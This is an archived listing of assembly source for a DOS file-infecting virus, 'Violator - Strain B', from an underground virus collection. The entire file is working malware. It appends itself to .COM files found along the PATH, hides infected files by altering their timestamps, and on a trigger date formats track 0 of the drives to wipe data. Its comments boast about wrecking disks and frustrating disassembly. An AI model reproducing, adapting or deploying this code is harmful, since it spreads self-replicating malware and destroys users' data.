home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / u-z / violb.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  11.3 KB  |  394 lines

  1. ;*****************************************************************************
  2.  
  3. ;
  4.  
  5. ;                        Violator - Strain B
  6.  
  7. ;
  8.  
  9. ;*****************************************************************************
  10.  
  11. ;
  12.  
  13. ; (Aug/09/90)
  14.  
  15. ;
  16.  
  17. ; Development Notes:
  18.  
  19. ;
  20.  
  21. ;    I encountered several errors in the original Violator code which I
  22.  
  23. ;     corrected in this version. Mainly, the INT 26 routine to fuck the
  24.  
  25. ;    disk. It seems that the routine would crash right after the INT 26
  26.  
  27. ;     was executed and the whole program would die. I have since fixed
  28.  
  29. ;    this problem in this version with an INT 13, AH 05 (Format Track)
  30.  
  31. ;    command. This works better than the subsequent INT 26.
  32.  
  33. ;
  34.  
  35. ;
  36.  
  37. ;*****************************************************************************
  38.  
  39. ;
  40.  
  41. ;                Written by - The High Evolutionary -
  42.  
  43. ;                  RABID Head Programmer
  44.  
  45. ;
  46.  
  47. ;                                Revised by: «Onslaught»
  48.  
  49. ;                               No affiliation with rabId
  50.  
  51. ;
  52.  
  53. ;          Copyright (C) 1990 by RABID Nat'nl Development Corp.
  54.  
  55. ;
  56.  
  57. ;*****************************************************************************
  58.  
  59.  
  60.  
  61. MOV_CX  MACRO   X
  62.  
  63.         DB      0B9H
  64.  
  65.         DW      X
  66.  
  67. ENDM
  68.  
  69.  
  70.  
  71. CODE    SEGMENT
  72.  
  73.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  74.  
  75.         ORG     $+0100H                ; Set ORG to 100H plus our own
  76.  
  77.  
  78.  
  79. VCODE:  JMP     virus
  80.  
  81.  
  82.  
  83.     NOP
  84.  
  85.     NOP
  86.  
  87.     NOP                     ;15 NOP's to place JMP Header
  88.  
  89.     NOP
  90.  
  91.     NOP
  92.  
  93.     NOP
  94.  
  95.     NOP
  96.  
  97.     NOP
  98.  
  99.     NOP
  100.  
  101.     NOP
  102.  
  103.     NOP
  104.  
  105.     NOP
  106.  
  107.     NOP
  108.  
  109.     NOP
  110.  
  111.     NOP
  112.  
  113.  
  114.  
  115. v_start equ     $
  116.  
  117.  
  118.  
  119.  
  120.  
  121. virus:  PUSH    CX
  122.  
  123.         MOV     DX,OFFSET vir_dat
  124.  
  125.         CLD
  126.  
  127.         MOV     SI,DX
  128.  
  129.         ADD     SI,first_3
  130.  
  131.     MOV    CX,3
  132.  
  133.         MOV     DI,OFFSET 100H
  134.  
  135.         REPZ    MOVSB
  136.  
  137.         MOV     SI,DX
  138.  
  139.     MOV     AH,30H
  140.  
  141.     INT    21H
  142.  
  143.     CMP    AL,0                ;Quit it it's DOS 1.0
  144.  
  145.     JNZ    dos_ok
  146.  
  147.         JMP     quit
  148.  
  149.  
  150.  
  151. dos_ok: PUSH    ES
  152.  
  153.         MOV     AH,2FH
  154.  
  155.         INT     21H
  156.  
  157.         MOV     [SI+old_dta],BX
  158.  
  159.         MOV     [SI+old_dts],ES
  160.  
  161.         POP     ES
  162.  
  163.         MOV     DX,dta                  
  164.  
  165.         ADD     DX,SI                    
  166.  
  167.         MOV     AH,1AH
  168.  
  169.         INT     21H                     
  170.  
  171.         PUSH    ES
  172.  
  173.         PUSH    SI
  174.  
  175.         MOV     ES,DS:2CH
  176.  
  177.         MOV     DI,0                    
  178.  
  179.     JMP    year_check
  180.  
  181.  
  182.  
  183. year_check:
  184.  
  185.     MOV    AH,2AH            ;Get date info
  186.  
  187.     INT    21H            ;Call DOS
  188.  
  189.     CMP    CX,1990            ;Check to see if the year is 1990
  190.  
  191.     JGE    month_check        ;If greater or equal, check month
  192.  
  193.     JMP    find_path        ;If not, go on with infection
  194.  
  195.  
  196.  
  197. month_check:
  198.  
  199.     MOV    AH,2AH            ;Get date info
  200.  
  201.     INT    21h            ;Call DOS
  202.  
  203.     CMP    DH,10            ;Check to see if it is September
  204.  
  205.     JGE    day_check        ;If greater or equal, check day
  206.  
  207.     JMP    find_path        ;if not, go on with infection
  208.  
  209.  
  210.  
  211. day_check:
  212.  
  213.     MOV    AH,2Ah            ;Get date info
  214.  
  215.     INT    21H            ;Call DOS
  216.  
  217.     CMP    DL,31            ;Check to see if it is the 4th
  218.  
  219.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  220.  
  221.     JMP    find_path        ;If not, then go on with infection
  222.  
  223.  
  224.  
  225. multiplex:
  226.  
  227.     MOV    AL,cntr            ;Counter is the drive to kill
  228.  
  229.     CALL    alter            ;Go and kill the drive
  230.  
  231.                                         ;25 is drive Z:
  232.  
  233.     CMP    cntr,25            ;Is (cntr) 25 ?
  234.  
  235.     JE    find_path        ;Go on with infection
  236.  
  237.     INC    cntr            ;Add one to (cntr)
  238.  
  239.     LOOP    multiplex        ;Loop back up to kill next drive
  240.  
  241.  
  242.  
  243. alter:
  244.  
  245.     MOV    AH,05            ;Format Track
  246.  
  247.     MOV    CH,0            ;Format track 0
  248.  
  249.     MOV    DH,0            ;Head 0
  250.  
  251.     MOV    DL,cntr            ;Format for drive in (cntr)
  252.  
  253.     INT    13h            ;Call RWTS
  254.  
  255.     RET                ;Return up for next drive
  256.  
  257.  
  258.  
  259. find_path:
  260.  
  261.         POP     SI
  262.  
  263.         PUSH    SI
  264.  
  265.         ADD     SI,env_str
  266.  
  267.         LODSB
  268.  
  269.         MOV     CX,OFFSET 8000H
  270.  
  271.         REPNZ   SCASB
  272.  
  273.         MOV     CX,4
  274.  
  275.  
  276.  
  277. check_next_4:
  278.  
  279.         LODSB
  280.  
  281.         SCASB
  282.  
  283. ;
  284.  
  285. ; The JNZ line specifies that if there is no PATH present, then we will go
  286.  
  287. ; along and infect the ROOT directory on the default drive.
  288.  
  289. ;
  290.  
  291.         JNZ     find_path               ;If not path, then go to ROOT dir
  292.  
  293.         LOOP    check_next_4            ;Go back and check for more chars
  294.  
  295.         POP     SI            ;Load in PATH again to look for chars
  296.  
  297.         POP     ES
  298.  
  299.         MOV     [SI+path_ad],DI
  300.  
  301.         MOV     DI,SI
  302.  
  303.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  304.  
  305.         MOV     BX,SI
  306.  
  307.         ADD     SI,wrk_spc
  308.  
  309.         MOV     DI,SI
  310.  
  311.         JMP     SHORT   slash_ok
  312.  
  313.  
  314.  
  315. set_subdir:
  316.  
  317.         CMP     WORD PTR [SI+path_ad],0
  318.  
  319.         JNZ     found_subdir
  320.  
  321.         JMP     all_done
  322.  
  323.  
  324.  
  325.  
  326.  
  327. found_subdir:
  328.  
  329.         PUSH    DS
  330.  
  331.         PUSH    SI
  332.  
  333.         MOV     DS,ES:2CH
  334.  
  335.         MOV     DI,SI
  336.  
  337.         MOV     SI,ES:[DI+path_ad]
  338.  
  339.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  340.  
  341.  
  342.  
  343.  
  344.  
  345. move_subdir:
  346.  
  347.         LODSB                           ;To tedious work to move into subdir
  348.  
  349.         CMP     AL,';'                  ;Does it end with a ; charachter?
  350.  
  351.         JZ      moved_one               ;if yes, then we found a subdir
  352.  
  353.         CMP     AL,0                    ;is it the end of the path?
  354.  
  355.         JZ      moved_last_one          ;if yes, then we save the PATH
  356.  
  357.         STOSB                           ;marker into DI for future reference
  358.  
  359.         JMP     SHORT   move_subdir
  360.  
  361.  
  362.  
  363. moved_last_one:
  364.  
  365.         MOV     SI,0
  366.  
  367.  
  368.  
  369. moved_one:
  370.  
  371.         POP     BX                      ;BX is where the virus data is
  372.  
  373.         POP     DS                      ;Restore DS so that we can do stuph
  374.  
  375.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  376.  
  377.         NOP
  378.  
  379.         CMP     CH,'\'                  ;Check to see if it ends in \
  380.  
  381.         JZ      slash_ok                ;If yes, then it's OK
  382.  
  383.         MOV     AL,'\'                  ;if not, then add one...
  384.  
  385.         STOSB                ;store the sucker
  386.  
  387.  
  388.  
  389.  
  390.  
  391. slash_ok:
  392.  
  393.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  394.  
  395.         MOV     SI,BX                   ;Restore the original SI value
  396.  
  397.         ADD     SI,f_spec               ;Point to COM file victim
  398.  
  399.         MOV     CX,6
  400.  
  401.         REPZ    MOVSB                   ;Move victim into workspace
  402.  
  403.         MOV     SI,BX
  404.  
  405.         MOV     AH,4EH
  406.  
  407.         MOV     DX,wrk_spc
  408.  
  409.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!
  410.  
  411.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  412.  
  413.         INT     21H
  414.  
  415.         JMP     SHORT   find_first
  416.  
  417.  
  418.  
  419. find_next:
  420.  
  421.         MOV     AH,4FH
  422.  
  423.         INT     21H
  424.  
  425.  
  426.  
  427. find_first:
  428.  
  429.         JNB     found_file              ;Jump if we found it
  430.  
  431.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  432.  
  433.  
  434.  
  435. found_file:
  436.  
  437.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  438.  
  439.         AND     AL,1EH                  ;Mask to remove all but seconds
  440.  
  441.         CMP     AL,1EH                  ;60 seconds
  442.  
  443.         JZ      find_next
  444.  
  445.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  446.  
  447.         JA      find_next               ;If too long, find another one
  448.  
  449.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  450.  
  451.         JB      find_next               ;Then go find another one
  452.  
  453.         MOV     DI,[SI+nam_ptr]
  454.  
  455.         PUSH    SI
  456.  
  457.         ADD     SI,dta_nam
  458.  
  459.  
  460.  
  461. more_chars:
  462.  
  463.         LODSB
  464.  
  465.         STOSB
  466.  
  467.         CMP     AL,0
  468.  
  469.         JNZ     more_chars
  470.  
  471.         POP     SI
  472.  
  473.         MOV     AX,OFFSET 4300H
  474.  
  475.         MOV     DX,wrk_spc
  476.  
  477.         ADD     DX,SI
  478.  
  479.         INT     21H
  480.  
  481.         MOV     [SI+old_att],CX
  482.  
  483.         MOV     AX,OFFSET 4301H
  484.  
  485.         AND     CX,OFFSET 0FFFEH
  486.  
  487.         MOV     DX,wrk_spc
  488.  
  489.         ADD     DX,SI
  490.  
  491.         INT     21H
  492.  
  493.         MOV     AX,OFFSET 3D02H
  494.  
  495.         MOV     DX,wrk_spc
  496.  
  497.         ADD     DX,SI
  498.  
  499.         INT     21H
  500.  
  501.         JNB     opened_ok
  502.  
  503.         JMP     fix_attr
  504.  
  505.  
  506.  
  507. opened_ok:
  508.  
  509.         MOV     BX,AX
  510.  
  511.         MOV     AX,OFFSET 5700H
  512.  
  513.         INT     21H
  514.  
  515.         MOV     [SI+old_tim],CX         ;Save file time
  516.  
  517.         MOV     [SI+ol_date],DX         ;Save the date
  518.  
  519.         MOV     AH,2CH
  520.  
  521.         INT     21H
  522.  
  523.         AND     DH,7
  524.  
  525.         JMP     infect
  526.  
  527.  
  528.  
  529. infect:
  530.  
  531.         MOV     AH,3FH
  532.  
  533.         MOV     CX,3
  534.  
  535.         MOV     DX,first_3
  536.  
  537.         ADD     DX,SI
  538.  
  539.         INT     21H             ;Save first 3 bytes into the data area
  540.  
  541.         JB      fix_time_stamp
  542.  
  543.         CMP     AX,3
  544.  
  545.         JNZ     fix_time_stamp
  546.  
  547.         MOV     AX,OFFSET 4202H
  548.  
  549.         MOV     CX,0
  550.  
  551.         MOV     DX,0
  552.  
  553.         INT     21H
  554.  
  555.         JB      fix_time_stamp
  556.  
  557.         MOV     CX,AX
  558.  
  559.         SUB     AX,3
  560.  
  561.         MOV     [SI+jmp_dsp],AX
  562.  
  563.         ADD     CX,OFFSET c_len_y
  564.  
  565.         MOV     DI,SI
  566.  
  567.         SUB     DI,OFFSET c_len_x
  568.  
  569.  
  570.  
  571.         MOV     [DI],CX
  572.  
  573.         MOV     AH,40H
  574.  
  575.         MOV_CX  virlen
  576.  
  577.         MOV     DX,SI
  578.  
  579.         SUB     DX,OFFSET codelen
  580.  
  581.         INT     21H
  582.  
  583.         JB      fix_time_stamp
  584.  
  585.         CMP     AX,OFFSET virlen
  586.  
  587.         JNZ     fix_time_stamp
  588.  
  589.         MOV     AX,OFFSET 4200H
  590.  
  591.         MOV     CX,0
  592.  
  593.         MOV     DX,0
  594.  
  595.         INT     21H
  596.  
  597.         JB      fix_time_stamp
  598.  
  599.         MOV     AH,40H
  600.  
  601.         MOV     CX,3
  602.  
  603.         MOV     DX,SI
  604.  
  605.         ADD     DX,jmp_op
  606.  
  607.         INT     21H
  608.  
  609.  
  610.  
  611. fix_time_stamp:
  612.  
  613.         MOV     DX,[SI+ol_date]
  614.  
  615.         MOV     CX,[SI+old_tim]
  616.  
  617.         AND     CX,OFFSET 0FFE0H
  618.  
  619.         OR      CX,1EH
  620.  
  621.         MOV     AX,OFFSET 5701H
  622.  
  623.         INT     21H
  624.  
  625.         MOV     AH,3EH
  626.  
  627.         INT     21H
  628.  
  629.  
  630.  
  631. fix_attr:
  632.  
  633.         MOV     AX,OFFSET 4301H
  634.  
  635.         MOV     CX,[SI+old_att]
  636.  
  637.         MOV     DX,wrk_spc
  638.  
  639.         ADD     DX,SI
  640.  
  641.         INT     21H
  642.  
  643.  
  644.  
  645. all_done:
  646.  
  647.         PUSH    DS
  648.  
  649.         MOV     AH,1AH
  650.  
  651.         MOV     DX,[SI+old_dta]
  652.  
  653.         MOV     DS,[SI+old_dts]
  654.  
  655.         INT     21H
  656.  
  657.         POP     DS
  658.  
  659.  
  660.  
  661. quit:
  662.  
  663.         POP     CX
  664.  
  665.         XOR     AX,AX            ;XOR values so that we will give the
  666.  
  667.         XOR     BX,BX            ;poor sucker a hard time trying to
  668.  
  669.         XOR     DX,DX            ;reassemble the source code if he
  670.  
  671.         XOR     SI,SI            ;decides to dissassemble us.
  672.  
  673.         MOV     DI,OFFSET 0100H
  674.  
  675.         PUSH    DI
  676.  
  677.         XOR     DI,DI
  678.  
  679.         RET     0FFFFH            ;Return back to the beginning
  680.  
  681.                     ;of the program
  682.  
  683.  
  684.  
  685. vir_dat EQU     $
  686.  
  687.  
  688.  
  689. intro    db    '.D$^i*&B)_a.%R',13,10
  690.  
  691. olddta_ DW      0
  692.  
  693. olddts_ DW      0
  694.  
  695. oldtim_ DW      0
  696.  
  697. count_    DW    0
  698.  
  699. cntr     DB     2                ; Drive to nuke from (C:+++)
  700.  
  701. oldate_ DW      0
  702.  
  703. oldatt_ DW      0
  704.  
  705. first3_ EQU     $
  706.  
  707.         INT     20H
  708.  
  709.         NOP
  710.  
  711. jmpop_  DB      0E9H
  712.  
  713. jmpdsp_ DW      0
  714.  
  715. fspec_  DB      '*.COM',0
  716.  
  717. pathad_ DW      0
  718.  
  719. namptr_ DW      0
  720.  
  721. envstr_ DB      'PATH='
  722.  
  723. wrkspc_ DB      40h dup (0)
  724.  
  725. dta_    DB      16h dup (0)
  726.  
  727. dtatim_ DW      0,0
  728.  
  729. dtalen_ DW      0,0
  730.  
  731. dtanam_ DB      0Dh dup (0)
  732.  
  733. lst_byt EQU     $
  734.  
  735. virlen  =       lst_byt - v_start
  736.  
  737. codelen =       vir_dat - v_start
  738.  
  739. c_len_x =       vir_dat - v_start - 2
  740.  
  741. c_len_y =       vir_dat - v_start + 100H
  742.  
  743. old_dta =       olddta_ - vir_dat
  744.  
  745. old_dts =       olddts_ - vir_dat
  746.  
  747. old_tim =       oldtim_ - vir_dat
  748.  
  749. ol_date =       oldate_ - vir_dat
  750.  
  751. old_att =       oldatt_ - vir_dat
  752.  
  753. first_3 =       first3_ - vir_dat
  754.  
  755. jmp_op  =       jmpop_  - vir_dat
  756.  
  757. jmp_dsp =       jmpdsp_ - vir_dat
  758.  
  759. f_spec  =       fspec_  - vir_dat
  760.  
  761. path_ad =       pathad_ - vir_dat
  762.  
  763. nam_ptr =       namptr_ - vir_dat
  764.  
  765. env_str =       envstr_ - vir_dat
  766.  
  767. wrk_spc =       wrkspc_ - vir_dat
  768.  
  769. dta     =       dta_    - vir_dat
  770.  
  771. dta_tim =       dtatim_ - vir_dat
  772.  
  773. dta_len =       dtalen_ - vir_dat
  774.  
  775. dta_nam =       dtanam_ - vir_dat
  776.  
  777. count     =    count_  - vir_dat
  778.  
  779.  
  780.  
  781.         CODE    ENDS
  782.  
  783. END     VCODE
  784.  
  785.  
  786.  
  787.